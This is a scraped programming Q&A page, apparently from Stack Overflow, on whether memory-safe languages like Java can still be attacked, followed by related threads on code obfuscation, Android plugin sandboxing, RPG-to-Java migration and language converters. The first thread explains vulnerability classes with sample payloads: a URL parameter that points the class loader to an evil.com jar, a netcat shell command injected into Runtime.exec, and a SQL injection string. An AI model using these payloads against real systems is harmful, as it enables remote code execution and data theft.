I just recently finished reading Secure Coding in C and C++ by Brian Seacord, who works for CERT.
Overall, it's an excellent book and I would recommend it to any programmer who hasn't yet read it. After reading it, it occurs to me that for all the various types of security vulnerabilities (such as exploit code injection, buffer overflows, integer overflows, string formatting vulnerabilities, etc.), every single security hole seems to come down to one thing: the ability to access a memory address that isn't bounded by a buffer that was legitimately allocated by the process.
The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers. But in a language like Java, this is simply impossible. The worst that could happen is a program will terminate with an ArrayIndexOutOfBoundsException, leading to a denial-of-service.
So are there any security vulnerabilities possible in "safe" languages like Java, where invalid memory accesses are not possible? (I use Java as an example here, but really I'm interested in knowing about security vulnerabilities in any language that prevents invalid memory accesses.)
Of course a book focused on C / C++ will focus on the most common exploit. Memory tricks on the stack and so forth.
As for the "obvious" example of a language with plenty of security cavats without any direct memory access... hows PHP? Aside from the usual XSS, CSRF and SQL injection, you've got remote code injection on older versions of PHP because of include magic and so forth. I'm sure there are Java examples, but I'm not a Java security expert...
But because Java Security experts do exist, I'm sure there are cases that you have to worry about. (in particular, I'm sure SQL injection also plagues naive web Java Developers).
EDIT: off the top of my head, Java does have dynamic loading of classes through ClassLoader. If you were to write a custom class loader for some reason, and you didn't verify the .class files, then you would open your program up to code-injection. If this custom class loader somehow read classes from the internet, then it would also be possible to have remote code injections. And as strange as it sounds, this is pretty common. Consider Eclipse and its plugin framework. Very literally, it is loading downloaded code automatically and then running them. I admit, I don't know the architecture of Eclipse, but I bet you that security is a concern for Eclipse plugin developers.
The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers.
This strikes me as a narrow view of what is and isn't malicious. SQL Injection for example (or indeed any type of inject) doesn't require buffer overflows and generally injects malicious code into your system. However it's certainly possible; for example some managed languages will allow the NULL character in the middle of their managed string classes. There have been interesting bugs where the string was passed to the underlying OS, where the API is C/C++ driven and thus truncates the string at the first \0 it finds, which, for example, may allow you to wander around the file system at will due to truncation errors.
Then there's bad encryption, information leaks and all sorts of other fun security errors which don't involve buffers ...
Yes. This has happened more than once. Just because a language makes it hard to make an invalid access to memory doesn't automatically protect you from attacks. Also, there's also the whole "social engineering" thing that can make users run malicious programs without requiring any exploits at all!
The best thing you can do is to keep your software up to date, use programming practices that reduce bugs, fix serious bugs as soon as they're discovered, and educating users.
Here's an interesting security hole, argueably much more likely in a Java system than in a C++ system:
suppose a web framework uses reflection to set object fields from url parameters
/update?a=1&b[2]=2&c.x=3&c.y=4
very convenient and powerful. it allows traversal of any object graph...
when an attacker feeds it a URL like this
/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar
game over. the entire system is under the control of the attacker.
see http://seclists.org/fulldisclosure/2010/Jun/456
and I don't think it only happened to Spring. There are a lot of Java systems out there pretty much exposing their bellies to the open world.
From Sun's own Secure Coding Guidelines for the Java Programming Language, Version 3.0:
The Java platform has its own unique
set of security challenges. One of its
main design considerations is to
provide a secure environment for
executing mobile code. While the Java
security architecture can protect
users and systems from hostile
programs downloaded over a network, it
cannot defend against implementation
bugs that occur in trusted code. Such
bugs can inadvertently open the very
holes that the security architecture
was designed to contain...
Unchecked user input can lead to a lot of security holes:
stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");
if userName isn't validated, and comes from an external source, someone can easily provide their userName as "john' or userName != '" . Leading to exposure of all the data in your table.
Runtime.getRuntime().exec(command);
Same thing here. If command isn't validated and comes from external source, someone clever could run say
"/bin/sh | nc -l 10000" or the like, gaining shell access on the server. Or inject a C source program exploiting a local security hole and have command compile and run it right on the server.
So the virtual machine implementation just becomes the thing you need to find a vulnerability in. And if you think locking down VM implementations is easy, read this amazing account of the details of an exploit for the Action Script virtual machine and consider whether you could really ever guarantee such holes didn't exist.
There's tons of security exploits that can affect pretty much any language - some old exploits, some new.
An example of an old school exploit would be creating a temporary file with insecure permissions or in an insecure directory - resulting in information leaking or an attacker inserting their own info.
SQL injection exploits have been around for a long time as well (ie. passing unvalidated text from the user into the sql parser).
XSS type attacks are relatively new, and easy to create in any server programming language.
Java is more secure than C++ in memory exploits (due to explicit bound checking build-in the language). This eliminates the category of buffer overflow exploits.
BUT java is not perfectly safe.
Features build-in the language for the programmer's convience, can be used as part of malicious attack. E.g. using reflection a program can find out values of class variables and modify them (there are ways to override the security manager - at least so I have read).
Serialization has issues (check-out RMI vulnerabilities) and there are many APIs programmers use without worry that could result badly. E.g. APIs that use our program's classloader to load "untrusted?" libraries.
A lot of programming security vulnerabilities can be classified as injection attacks that are specific to a given language or framework. You've been reading specifically about injection attacks in C++, whereby a user can inject code via a buffer overflow or string formatting vulnerability. If you extend your research to HTML you'll find that cross-site scripting (injection of JS code) and SQL injection (injection of SQL queries) are pretty common. Take a look at PHP and you'll note that command level injection tends to be a regular issue.
Ultimately each language and framework has its problems. Be aware of them. And of-course, business logic security errors will continue to exist, regardless of the language, framework or OS that you use. For example, a shopping cart that allows a negative quantity of items to be purchased for a negative total amount will be a security problem simply due to poor programming skills.
Java programs don't run on thin air. It is a whole platform, and the programmers of this platform are just humans who make programming errors. While your Java code itself may be safe, you need the platform to run it, opening other attack vectors.
I'm disappointed that this one wasn't mentioned since the question pertains to Java, which is especially vulnerable to this sort of oversight:
In java Visibility is a key concern for a software developer trying to assure that his code is secure. Especially in the context of extendable frameworks where I'll frequently be running "foreign" code it is vital that I not overexpose information that I trust as valid.
If I've made something public that should, in fact, be private, I've introduce a potential vulnerability. If I pass a reference to an object that I'm actively using instead of a defensive copy, I might inadvertently expose data that the standard user shouldn't have access to. Sometimes you want the user to have a reference and not a copy, but if this is a piece of data that survives for a while, you'll want to consider making a copy just to ensure that you've got control of the data from that point forward.
Allowing someone a reference to a member data field in a class I'm treating as immutable, might cause interesting or bizarre behavior to occur. Data could be modified after I've done validity checking and sanitized it.
Related
I have java application and I thinking about security. I can obfuscate code but I can still "steal" code from memory or modify code in runtime using for example javassist. I looking for SecurityManager to protect my code before modify and get code from memory by another java application.
Someone know how how use SecurityManager for this example or knows better solution?
A SecurityManager does the opposite of what you are trying to do. It protects the user's machine against the potentially harmful effects of running untrusted code. You are trying to protect the code against the user.
There is no real solution that will 100% protect your code. If the code executes on the user's machine, it can be stolen, and (with skill and effort) reverse engineered. This is true for all programming languages.
Basically, if the user controls the platform they can access stuff in a running applications memory, and you cannot stop this. In the case of Java, they can also disable any security managers, attach agents, and ... basically override any security controls that you might want to impose. It is >>their<< platform.
The best you can hope to do is to make it too hard for someone without the necessary reverse engineering skills and time.
And if the code is that precious ... only run it on >>your<< hardware in >>your<< data centre, etc.
I'm developing an Android application that allows plugins to run via OSGi (using Apache Felix). However, I want to enforce certain security aspects on a per-plugin basis. I.e. which Plugin is allowed to to access the filesystem. Also, I want to prevent reflection in general.
All the tutorials I've found so far refer to using OSGi security in combination with loading the standard Java SecurityManager. However, the latter doesn't exist on Android thus rendering the whole approach completely unusable.
I don't want to go as far as to use Bytecode Manipulation to prevent things from happening in the various plugins, as this would be both cumbersome and I could always miss something.
So, does anyone have any idea, how I could get a security architecture similar to standard Java security on Android?
Most importantly, how can I prevent reflection from being used?
But also, is there a way to prevent I/O access i.e. on a per thread basis?
Unless you are willing to modify the core OS, you can't. Android standard permissions can restrict access to files and APIs, but there is nothing to stop reflection. The OS uses it, so you if you block it completely things will break. Blocking by UID, process might be doable, but you'd have to modify the core Java API's implementation (in libcore).
A sandbox in a sandbox! It does not sound as a particular attractive idea for performance reason but as far as I know, the SecurityManager can still be set. So you could just set your own security manager and catch the checks as they go. However, this discussion indicates that the Android team feels not very confident about the quality of the base libs. (I would probably have removed all checks to gain some performance, but I nowadays feel the whole idea of in-process security is a solution that is simple, clear and wrong ...)
Our company uses an IBM iSeries for a majority of our data processing. All of our internal apps are written in RPG. According to IBM's roadmap, IBM is pushing companies to move to Java/J2EE. We're looking to modernize our internal apps to a more GUI interface. We provide an external web presence by using Asp.Net webs, although perhaps greenfield projects could be Java. One option is to use a screen scraper app while staying on RPG but I think it may be better to slowly go the way of IBM's roadmap and move to Java. Our goal is to migrate to a GUI interface and to be inline with IBM's roadmap.
Have you been involved with an RPG to Java migration, even if only greenfield projects were Java and the brownfield projects remained RPG?
My management is afraid that:
1) updating JRE on workstations, particularly thin clients, could cause an administrative nightmare (Our company uses 80% thin clients and 20% PCs) and
2) Java demands too much overhead of the workstation to run effectively
3) Incompatibility between JRE clients as we update, potentially breaking other apps requiring the JRE.
Can you shed some light on this? Are there any huge benefits? Any huge gotchas?
CLARIFICATION: I am only interested in a migration to Java. What is the difficulty level and do I lose anything when going from RPG to Java? Are the screens very responsive when migrated to Java?
My company is also attempting to migrate to Java from RPG.
We're not attempting to use a JRE on a thin-client, we're moving to web applications delivered through a browser. This may entail (eventually) replacing our old POS-scanners with some of the newer PC-based ones.
I have been informed (by company architects) that the JVM on the iSeries OS does have some performance issues. I do not personally know what these limitations are. In our case the migration has involved allocating an AIX resource, which is supposed to be much better - talk to your IBM rep about whether you just need to purchase the OS license (I just program on the thing, I don't get involved in hardware).
See reponse to question 1. In a larger context, where you're trying to update the browser (or any other resource), this is usually handled by having enterprise licenses - most will have options to allow forced, remote updates.
Some other notes:
You should be able to move to just using .NET, although you may need different hardware/partitions to run the environment. You can talk to DB2 that way, at least. The only benefit Java has there is that it will run on the same OS/hardware as the database.
I've seen a screenscraper application here (it was in VB.NET, but I'm fairly sure the example applies). Screen-scraping was accomplished by getting/putting characters to specific positions on the screens (the equivalent of substring()). That could be just the API we were using - I think I've heard of solutions that were able to read the field names. However, it also relied on the RPG program flow for it's logic, and was otherwise not maintainable.
Most of the RPG programs I've seen and written tend to be a violation of MVC, meaning you can't do anything less than integration testing - the history and architecture of the language itself (and some developers) prefers that everything (file access to screen display) be in one file. This will also make attempting to wrap RPG for calling remotely effectively impossible. IF you've properly seperated everything into Service Programs, you should be able to wrap them up (as the equivalent of a native method call, almost) neatly - unfortunately I haven't seen anything here that didn't tend to rely on one or more tricks that wouldn't hold up for typical Web use (for example, using a file in QTEMP for controlling program execution - the session on the iSeries effectively disappears every time a new page is requested...).
Java as a language tends to promote better seperation of code (note that it can be misused just as badly), as it doesn't have quite the history of RPG. In general, it may be helpful to think of Java as a language where everything is a service program, where all parameters are passed with VALUE set, OPTIONS(*nopass : *omit) is disallowed, CONST is generally recommended, and most parameters are of type DS (datastructure - this is a distinct type in RPG) and passed around by pointer. Module level parameters are frowned upon, if favor of encapsulating everything either in passed datastructures or the service program procedures themselves. STATIC has somewhat different use in Java, making variable global, and is not available inside of procedures.
RPG is quite a bit more simple than Java, generally, and OO-programming is quite a different paradigm. Here are some things that are likely to trip up developers migrating to Java:
Arrays in RPG start at 1. Arrays in Java start at 0.
Java doesn't have 'ouput' parameters, and all primitive types are passed by value (copied). This means that editing an integer won't be visible in calling methods.
Java doesn't have packed/signed encoding, and so translating to/from numbers/strings is more involved. The Date type in Java also has some serious problems (it includes time, sort of), and is far more difficult to meaningfully change to/from a character representation.
It's harder to read/write files in Java, even when using SQL (and forget about using native I/O directly with Java) - this can be mitigated somewhat with a good framework, however.
There are no ENDxx operators in Java, everything uses brackets ({}) to specify the start/end of blocks.
Everything in Java is in freeformat, and there are no columnar specifications of any sort (although procedure signatures are still required). There is no hardlimit on line length, although ~80 characters is still recommended. The tools (the free ones, even) are better, period, and generally far more helpful (although they may take some getting used to for those exposed to SEU). There are also huge, free libraries available for download.
The = sign is not context-sensitive in Java the way it is in RPG, it is always used for assignments. Use the double-equals, == operator for comparisons of values in Java.
Objects (datastructures) cannot be meaningfully compared with == - you will often need to implement a method called equals() instead.
Strings are not mutable, they cannot be changed. All operations performed on strings (either on the class/datastructure itself, or from external libraries) return brand new references. And yes, strings are considered datastructures, not value types, so you can't compare them with == either.
There are no built-in equivalents to the /copy pre-compiler directives. Attempting to implement them is using Java incorrectly. Because these are usually used to deal with 'boilerplate' code (variable definitions or common code), it's better to deal with this in the architecure. Variable(ALL D-specs, actually) definitons will be handled with import or import static statements, while common-code variants are usually handled by a framework, or defining a new class.
I'm sure there are a number of other things out there, let me know if you have any other questions.
Distributing and managing a fat client would be an absolute nightmare.
The ideal solution is a Java based web application hosted on the iSeries. The workstations access your applications through a web browser just like ASP.NET.
I've been using the Grails Framework to modernize and create new applications and it is working wonderfully.
When IBM says you should move to Java/J2EE then you should probably move your applications to web applications like your asp.net web apps. You should probably use a feature rich interface like JSF or GWT.
Web applications don't have to worry about JRE problems as you just need a standard browser.
However I don't know RPG and I don't know the suggested migration strategy.
I am a developer involved in as400 modernization. So far, from my experiences, I can give you my insights.
In addition to Java EE based websites, you can probably go for jax-ws based web services, which provide services for different flat and grid screens.
The clients can consume them in whichever technology they desire. Some lag is there, but the overall usability is good as in the normal web based applications.
I'm concerned about the security of Java executables. They offer little protection against decompilation. With tools like Java Decompiler even a kid can decompile the class files to get the original code.
Apart from code obfuscation what can be done to protect a class file? Is the Encrypted Class Loader still a myth?
In a previous company we had such questions, mainly driven by management paranoia.
First of all, you have to understand that absolute security is only a myth: As long as your program is run on untrusted hardware, it can be decompiled, no matter what language you use. The only thing you can change is the cost of an attacker to understand your software/algorithm/data.
Concerning obfuscation: it can be considered a first level of protection, as it makes the Java code totally unreadable. Good obfuscators like ProGuard use forbidden characters in variables/methods names, preventing execution of decompiled code. Now, one can consider it a good enough security measure, as decompiling code is not as simple as running Jad or other decompilers and having perfectly working Java code. However, it is possible to understand most of the algorithms exposed in such code (as readable code is very different from compilable code).
Additional security measures include:
Running sensitive code on a server by using some kind of web-service to send results and grab results (using REST/SOAP/YouNameIt)
Loading sensitive code from a remote server using HTTPS and (maybe) additional security layers.
From those two security measures, I would honestly choose the first. Indeed, the second can be subverted by typical HTTPS attacks (man in the middle, logging proxies, and so on, ...), and has the major inconvenience of putting the code on untrusted hardware, which makes it possibly borrowable from there.
Basically, there are four things you can do with your bytecode to protect it against Java decompilers:
obfuscation
software encryption
hardware encryption
native compilation
all covered in my article Protect Your Java Code - Through Obfuscators And Beyond
You can write all your code with in native. The reverse engineering can be done anyway. But is harder.
Ok, this is not a strictly java solution.
As nfechner said in a comment write open source application.
I have read a few articles mentioning converters from one language to another.
I'm a bit more than skeptical about the use of such kind of tools. Does anyone know or have experiences let's say about Visual Basic to Java or vs converters? Just one example to pick
http://www.tvobjects.com/products/products.html, claims to be the "world leader" or so in that aspect, However if read this:
http://dev.mysql.com/tech-resources/articles/active-grid.html
There the author states:
"The consensus of MySQL users is that automated conversion tools for MS Access do not work. For example, tools that translate existing Access applications to Java often result in 80% complete solutions where finishing the last 20% of the work takes longer than starting from scratch."
Well we know we need 80% of the time to implement the first 80% functionality and another 80% of the time for the other 20 %....
So has anyone tried such tools and found them to be worthwhile?
Tried? No, actually built (more than one) language convertor.
Here's one I (and my coworkers) built for the B2 Spirit Stealth Bomber to convert the mission software, coded in a legacy language, JOVIAL, into maintainable C code, with 100% automated conversion. One of the requirements was that we were NOT allowed to see the actual source code. No joke.
You are right: if you get only a medium high conversion rate (e.g., 70-80%), the effort to finish the conversion is still very significant if indeed you can do it at all. We target 95%+ and do better when told to try harder as was the case for the B2. The only reason people accept medium high rate converters is because they can't find (or won't fund!) a better one, insist on starting now, and accept the fact that converting it this way may be painful (usually they don't know how much) but is in fact less painful than rebuilding it from scratch. (I happen to agree with this assessment: in general, projects that try to recode a large system from scratch usually fail and conversions using medium high conversion rate tools don't have as high a failure rate.)
There are lots of bad conversion tools out there, something slapped together with a mountain of PERL code doing regexes on text strings, or some YACC-based parser with code generation essentially one-to-one for each statement in the compilation unit. The former are built by people who had a conversion dropped on them out of the sky. The latter are often built by well-intentioned engineers that don't have decent compiler background.
For a singularly bad example, see my response to this SO question about COBOL migration: Experience migrating legacy Cobol/PL1 to Java, which is exactly a direct statement translator... producing the stuff that gave rise to the term "JOBOL".
To get such high-accuracy conversion rates, you need high-quality parsers, and means to build high-quality translation rules that preserve semantics, and optimize for target-language properties and special cases. In essence, you need what amounts to configurable compiler technology. The reason we succeed, IMHO, is our DMS Software Reengineering Toolkit, which was designed to do this job. (I'm the architect; check out my SO icon/bio).
Lots of careful testing helps, too.
DMS "knows" what the compiler knows about code, by virtue of having a compiler-like front end for the language of interest, and having the ability to build ASTs, symbol tables, control and data flows, call graphs. It uses much of the compiler technology that the compiler community spent the last half-century inventing, because that stuff has been proven to be useful in translation!
DMS knows more than most compilers know, because it can read/analyze/transform the entire application at once; most compilers stick to single compilation units. Thus one can code translation rules that depend on the entire application as opposed to just the current statement. We often add problem- or application-specific knowledge to improve the translation. This often shows up when converting special features of a language, or calls on libraries, where one must recognize the library calls as special idioms, and translate them to calls on compositions of target libraries and language constructs.
This capability is used to build translators (e.g., the JOVIAL translator), or domain-specific code generators.
More often we build complex automated software engineering tools that solve problems specific to customers, such as program analysis tools (dead code, duplicate code, style-broken code, metrics, architecture extraction, ...), and mass change tools (platform [not langauge] migrations, data layer insertion, API replacement, ...)
It seems to me, as is almost always the case with MS-ACCESS questions having tags that attract the wider StackOverflow population, that the people answering are missing the key question here, which I read as:
Are there any tools that can successfully convert an Access application to any other platform?
And the answer is
ABSOLUTELY NOT
The reason for that is simply that tools in the same family that use similar models for the UI objects (e.g., VB6) lack so many things that Access provides by default (how do you convert an Access continuous subform to VB6 and not lose functionality?). And other platforms don't even share the same core model as VB6 and Access, so those have even more hurdles to clear.
The cited MySQL article is quite interesting, but it really confuses the problems that come with incompetently-developed apps vs. the problems that come with the development tools being used. A bad data schema is not inherent to Access -- it's inherent to [most] novice database users. But the articles seems to attribute this problem to Access.
And entirely overlooks the possibility of fixing the schema, upsizing it to MySQL and keeping the front end in Access, which is by far the easiest approach to the problem.
This is exactly what I expect from people who just don't get Access -- they don't even consider that Access as front end to a securable, large-capacity server database engine can be a superior solution to the problem.
That article doesn't even really consider conversion of an Access app, and there's good reason for that. All the tools that I've seen that claim to convert Access applications (to whatever platform) either convert nothing but data (in which case they don't convert the app at all -- morons!), or convert the front end structure slavishly, with a 1:1 correspondence between UI objects in the Access application and in the target app.
This doesn't work.
Access's application design is specific to itself, and other platforms don't support the same set of features. Thus, there has to be translation of Access features into a working substitute for the original feature in the converted application. This is not something that can be done in an automated fashion, in my opinion.
Secondly, when contemplating converting an Access app for deployment in the web browser, the whole application model is different, i.e., from stateful to stateless, and so it's not just a matter of a few Access features that are unsupported, but of a completely different fundamental model of how the UI objects interact with the data. Perhaps a 100% unbound Access app could be relatively easily be converted to a browser-based implementation, but how many of those are there? It would mean an Access app that uses no subforms whatsoever (since they can't be unbound), and an app that uses only a handful of events from the rich event model (most of which work only with bound forms/controls). In short, a 100% unbound Access app would be one that fights against the whole Access development paradigm. Anyone who thinks they want to build an unbound app in Access really shouldn't be using Access in the first place, as the whole point of Access is the bound forms/controls! If you eliminate that, you've thrown out the majority of Access's RAD advantage over other development platforms, and gained almost nothing in return (other than enormous code complexity).
To build an app for deployment in the web browser that accomplishes the same tasks as an Access applications requires from-the-ground-up redesign of the application UI and workflow. There is no conversion or translation that will work because the successful Access application model is antithetical to the successful web application model.
Of course, all of this changes with Access 2010 and Sharepoint Server 2010 with Access Services. In that case, you can build your app in Access (using web objects) and deploy on Sharepoint for users to run it in the browser. The results are functionally 100% equivalent (and 90% visually), and run on all browsers (no IE-specific dependencies here).
So, starting this June, the cheapest way to convert an Access app for deployment in the browser may very well be to upgrade to A2010, convert the design to use all web objects, and then deploy with Sharepoint. That's not a trivial project, as Access web objects have a limited set of features in comparison to client objects (and no VBA, for instance, so you have to learn the new macros, which are much more powerful and safe than the old ones, so that's not the terrible hardship it may seem for those familiar with Access's legacy macros), but it would likely be much less work than a full-scale redesign for deployment on the web.
The other thing is that it won't require any retraining for end users (insofar as the web-object version is the same as the original client version), as it will be the same in the Access client as in the web browser.
So, in short, I'd say conversion is a chimera, and almost always not worth the effort. I'm agreeing with the cited sentiment, in fact (even if I have a lot of problems with the other comments from that source). But I'd also caution that the desire for conversion is often misguided and misses out on cheaper, easier and better solutions that don't require wholesale replacement of the Access app from top to bottom. Very often the dissatisfaction with Jet/ACE as data store confuses people into thinking they have to replace the Access application as well. And it's true that many user-developed Access apps are filled with terrible, unmaintainable compromises and are held together with chewing gum and bailing wire. But a badly-designed Access application can be improved in conjunction with the back-end upsizing andrevision of the data schema -- it doesn't have to be discarded.
That doesn't mean it's easy -- it's very often not. As I tell clients all the time, it's usually easier to build a new house than to remodel an old one. But one of the reasons we remodel old houses is because they have irreplaceable characteristics that we don't want to lose. It's very often the case that an Access app implicitly includes a lot of business rules and modelling of workflows that should not be lost in a new app (the old Netscape conundrum, pace Joel Spolsky). These things may not be obvious to the outside developer trying to port to a different platform, but for the end user, if the app produces results that are off by a penny in comparison to the old app, they'll be unhappy (and probably should be, since it may mean that other aspects of the app are not producing reliable results, either).
Anyway, I've rambled on for too long, but my opinion is that conversion never works except for the most trivial apps (or for ones that were designed to be converted, e.g., a 100% unbound Access app). I'm all for revision in place of replacment.
But, of course, that's how I make my living, i.e., fixing Access apps.
A couple of issues that effect the success or failure of cross-language conversion are the relative semantic richness of the languages, and their semantic models.
Translation from C++ to C should be relatively easy, but translation of C to idiomatic C++ would be next to impossible because that would be next to impossible to automatically turn a procedural program into an OO program.
Translation of Java to C would be relatively simple, though handling storage management would be messy. Translation of C into Java would be next to impossible if the C program did funky pointer arithmetic or casting between integers and different kinds of pointer.
Translation of a functional language to an imperative language would be much easy though the result would probably be inefficient, an non-idiomatic. Translation of an imperative language to a functional language is probably beyond the state of the art .... unless you implement an interpreter for the imperative language in the functional language.
What this means is that some translators are necessarily going to be more successful than others in terms of:
completeness and accuracy of translation, and
readability and maintainability of the resulting code.
Things You Should Never Do, Part I by Joel Spolsky
"....They did it by making the single worst strategic mistake that any software company can make:
They decided to rewrite the code from scratch."
I have a list of MS Access converters on my website. I've never heard anything good about any of them in any postings in the Access related newsgroups I read on a daily basis. And I read a lot of postings on a daily basis.
Also note that there is a significant amount of functionality in Access, such as bound continuous forms or subforms, that is more work to reproduce in other systems. Not necessarily a lot of work but more work. And more troubles when it comes time to distribute and install the app.
I've used an automated converter from C# to Visual Basic.NET. It worked pretty well except for adding some unnecessary If True statements.
I've also attempted to use Shed Skin to convert Python-to-C++, but it didn't work because of its lack of support for new-style division.
I've used tools for converting a VB6 Project into VB.Net - which you would hope would be perhaps one of the simpler examples of this sort of thing. My experience was that everything had to be checked, in fine detail, and half the stuff was missing / wrong.
Certainly I would recommend a migration by hand, or depending on the language you're targetting, I would consider a complete rewrite if this gives you a chance to make major improvements to your codebase.
Martin
I have only tried free and basic paid for converters. But the main problem is that it is very very hard to have confidence that the conversion is entirely successful.
Usually they are best used to hand convert code section at a time, where you review each piece of code. Often in my experience a rewrite instead of a conversion turns out to be a better option.